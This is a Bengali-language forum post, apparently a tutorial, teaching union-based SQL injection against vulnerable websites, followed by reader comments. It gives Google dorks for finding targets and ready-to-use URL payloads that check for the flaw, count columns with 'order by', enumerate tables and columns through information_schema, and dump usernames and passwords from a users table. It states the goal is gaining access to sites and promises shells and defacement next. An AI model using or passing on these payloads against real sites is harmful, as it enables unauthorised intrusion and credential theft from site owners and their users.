আসসালামু আলাইকুম,
আজ আমি sql injection নিয়ে আলোচনা করব এবং হ্যাকিং পদ্ধতি দেখাবো।তো প্রথমে sql injection সম্পর্কে জেনে নিই।
★Sql injection একটি হ্যাকিং মেথড যা দিয়ে কোন sql vulnerable ওয়েবসাইটের গুরুত্বপূর্ণ ডাটা যেমন পাসওয়ার্ড হ্যাক করা হয়।যেহেতু ওয়েবসাইটে এডমিন পাসওয়ার্ড সংরক্ষিত থাকে তাই sqli ব্যাবহার করে সেগুলো পাওয়া যায়। গতপর্বে আমি কিছু হ্যাকিং মেথড এর নাম বলছিলাম,sql injection মেথড আবার কিছু ভাগে বিভক্ত।যেমন:Union Based,Error Based,Post,Blind,MSsqli ইত্যাদি। এই টিউটোরিয়ালে আমি Union Based Sql injection নিয়ে আলোচনা করব।
• ওয়েবসাইটের লিংক (url) এ sql injection কমান্ড রান করার বা যুক্ত করা হলো কুয়েরি।
Sql injection Union Based মেথড ব্যাবহারের জন্য নিচের সকল স্টেপ গুলো ফলো করেন।
Sql injection কার্যপদ্ধতিঃ
Vulnerable Column>Table>Columns>Data
★sql vulnerable ওয়েবসাইট সিলেক্ট :
এই ধাপে প্রথমে ডর্ক ব্যাবহার করে ওয়েবসাইট সিলেক্ট করুন।নিচে কিছু ডর্ক দেয়া হলো।
inrul:index.php?id=
inrul:page.php?id=
inrul:article.php?id=
inrul:news.php?id=
এই কি ওয়ার্ডগুলো গুগলে সার্চ করলে অসংখ্য সাইট পাবেন।
★Vulnerability Check:
ডর্ক ব্যাবহারের পর আপনি অনেক সাইট দেখতে পারবেন কিন্ত এই সাইটগুলো সব sql vulnerable নাও হতে পারে।এজন্য আমরা চেক করে নিব সাইটটি sql vulnerable কিনা।চেক করার জন্য নিচের পদ্ধতি দেখুনঃ
vulnerable চেক করার জন্য ওয়েবসাইটের (url) প্যারামিটারের পরে কিছু চিহ্ন যুক্ত করা হয়।যেমন:
মনে করেন আপনার সিলেক্টেড সাইট হলো
www.sqliss.com/news.php?id=2
তাহলে চেক করার জন্য আপনার কুয়েরি হবে :-
www.sqliss.com/news.php?id=2′
এই কুয়েরি রান করলে যদি ওয়েবপেজে কিছু পরিবর্তন বা sql এরর আসে তাহলে সাইটটি vulnerable (pic 2)।
নিচের প্রথম ছবির কুয়েরি চিহ্ন বাদে এবং ২য় ছবির কুয়েরি চিহ্নসহ।sql এররের উদাহরণ ২য় চিত্রে।
নো এরর
এরর
★Coloum Count:এই ধাপে আমরা সিলেক্টেড সাইটে কতগুলো কলাম রয়েছে তা বের করব।এইক্ষেত্রে প্যারামিটারের পর order+by কমান্ডটি যুক্ত করবো এবং বিভিন্ন সংখ্যার রেঞ্জ দিয়ে কলাম সংখ্যা বের করব।
www.sqliss.com/news.php?id=2’+order+by+8–+
এখানে রেঞ্জ হিসাবে আমি প্রথমে ৮টি কলাম ধরেছি অর্থাৎ যদি সাইটের কলাম সংখ্যা ৮ এর মধ্যে হয় তাহলে আমি সাইটের আসল কলাম সংখ্যা পেয়ে যাবো। যদি এই সাইটটির কলাম সংখ্যা ৮ এর বেশি হয় তাহলে আমাকে রেঞ্জ বাড়াতে হবে বা ৮ এর জায়গায় ১০,২০,৩০ দিয়ে দেখতে হবে।
নিচের উদাহরণ দেখুনঃ
1.www.sqliss.com/news.php?id=2’+order+by+8–+ (error)
2.www.sqliss.com/news.php?id=2’+order+by+7–+(error)
3.www.sqliss.com/news.php?id=2’+order+by+6–+(no error)
উপরে ৩ টি কুয়েরি আলাদাভাবে ৩ বার রান করানো হয়েছে। ১ম বার এরর মানে আপনি sql এরর দেখতে পারবেন যেমন সাইট চেক করার সময় দেখেছিলেন সেই একই রকম এরর।১ম কুয়েরি এরর তাই সাইটে ৮টি কলাম নেই।২য় কুয়েরিও এরর তাই সাইটে ৭ টি কলাম নেই।এখন ৩য় কুয়েরি সঠিক তাই সাইটে সর্বোচ্চ ৬টি কুয়েরি আছে।সুতরাং সাইটের কলাম সংখ্যা ৬।
বিদ্রঃ যদি এইভাবে ৩০/৫০ পর্যন্ত রেঞ্জ ব্যবহারের পরেও কোন এরর না আসে তাহলে প্যারামিটার এর পরে চিহ্ন (‘) বাদে চেষ্টা করুন তাহলে সমস্যা সমাধান হবে।
বিদ্রঃ এই ধাপ থেকে শেষ ধাপ পর্যন্ত sql কমান্ড এর শেষে –+ ব্যবহার করতে হবে।এই (–+) কে কুয়েরি ফিক্স বলা হয়।এই কুয়েরি ফিক্স না হলে sql injection সম্ভব না।
নিচের ছবিতে ৭ নং কলাম নাই (২য় কুয়েরি) ।
নিচের ছবিতে ৩ নং কুয়েরি ব্যবহার নো এরর।অর্থাৎ কলাম ৬ টি।
★Vulnerable কলাম বের করাঃ
আগের ধাপে আমরা কলাম সংখ্যা বের করেছি। এখন বের করব সাইটের কোন কলামটি দূর্বল।এই দূর্বল কলাম ব্যবহার করে আমরা সাইটে কিছু কুয়েরি ইঞ্জেক্ট করব যার ফলে প্রয়োজনীয় ডাটা হ্যাক করতে পারব।
Vulnerable কলাম বের করার জন্য কুয়েরিঃ
www.sqliss.com/news.php?id=2’+union+select+1,2,3,4,5,6–+
এখন এই কুয়েরি রান করলে ওয়েবপেজে vulnerable কলাম নাম্বারটি দেখতে পারবেন।
যেমন এই ওয়েবসাইটের vulnerable কলাম 4 এবং 6।
বিদ্রঃ১.(যদি প্যারামিটারে চিহ্ন থাকে) যদি এইভাবে নাম্বার প্রিন্ট না হয় তাহলে প্যারামিটার এর পরে চিহ্ন (‘) বাদে চেষ্টা করুন তাহলে সমস্যা সমাধান হবে।
২.আবার যদি প্যারামিটারে চিহ্ন না থাকে মানে আগের ধাপে বাদ দিয়ে থাকেন তাহলে আবার চিহ্ন দিন।
★ওয়েবসাইটের ডাটাবেজ টেবিল বের করাঃ
Vulnerable কলাম সংখ্যা খুজে পাওয়ার পর ওয়েবসাইটের ডাটাবেইজ টেবিলগুলো বের করা।যেকোন Vulnerable কলামে ইঞ্জেক্ট করা যায়।আমি 4 নং এ ইঞ্জেক্ট করেছি। এজন্য কুয়েরিঃ
www.sqliss.com/news.php?id=2’+union+select+
1,2,3,group_concat(table_name),5,6+
from+information_schema.tables+
where+table_schema=database()–+
এখন আপনি ওয়েবসাইটের টেবিলগুলো দেখতে পারবেন।এখন এই টেবিলগুলো থেকে কলাম বের করতে হবে।
এখানে ২টি টেবিল আছে pages,users।
★Column বের করাঃ
এই ধাপটি আগের ধাপের মতোই,শুধু একটু কুয়েরি পরিবর্তন করতে হবে।
১.group_concat(table_name) এর পরিবর্তে group_concat(column_name) হবে।
2.information_schema.tables এর পরিবর্তে information_schema.columns হবে।
কুয়েরিঃ
www.sqliss.com/news.php?id=2’+union+select+1,2,3,
group_concat(column_name),5,6+
from+information_schema.columns+
where+table_schema=database()–+
এখন আপনি ওয়েবসাইটের সকল টেবিলের কলামগুলো দেখতে পারবেন।এখানে UserName,Password দুইটি কলাম উসেরস টেবিলের অন্তর্ভুক্ত। এখন এই কলামগুলো থেকে ডাটা বের করতে হবে।এই পদ্ধতি বা কুয়েরি ব্যবহার করলে সকল কলাম একসাথে ওয়েবপেজে প্রিন্ট হবে,এছাড়া আপনি চাইলে শুধুমাত্র যেকোন একটি নির্দষ্ট টেবিলের কলাম প্রিন্ট করতে পারবেন।
Users টেবিলের কলাম হলো UserName,Password।
★ডাটা প্রিন্ট: এখন আমরা শেষ ধাপে। এই ধাপে আপনি ওয়েবসাইটের ইউজার, পাসওয়ার্ড পাবেন।তাহলে চলুন কুয়েরি দিয়ে শুরু করি।
www.sqliss.com/news.php?id=2’+union+select+1,2,3,
group_concat(Password,0x3a,UserName),5,6+
from+users–+
যেহেতু কলামের মধ্যে ডাটা থাকে, সুতরাং এখন আপনার ওয়েবপেজে ইউজার এবং পাসওয়ার্ড প্রিন্ট হবে যা দিয়ে আপনি ওয়েবসাইটে অ্যাক্সেস নিতে পারবেন।
এই ছিল Sql injection Union Based ব্যাসিক।এই টিউটোরিয়ালটি এখানেই শেষ পরবর্তী পার্টে এডমিন প্যানেল,শেল,ডিফেস এবং মিরর বিষয় নিয়ে আলোচনা হবে।
আল্লাহ হাফেজ।
এই পোস্ট সম্পর্কে কোন প্রশ্ন থাকলে কমেন্টে জানান।
ধাপে ধাপে স্ক্রীন শর্ট দিতে পারলে আরো মানাতো ভাইয়া?
Jodi kothaw doubt thake tahole ask porte paren.
Thanks.
onak new members add hoye che ay site & onak a ache bogte parben na tay doya kore brother video dawar cista koren..
post gula khub sundor hosche congratulations brother..
Calay jan pashe paben
Jakallah…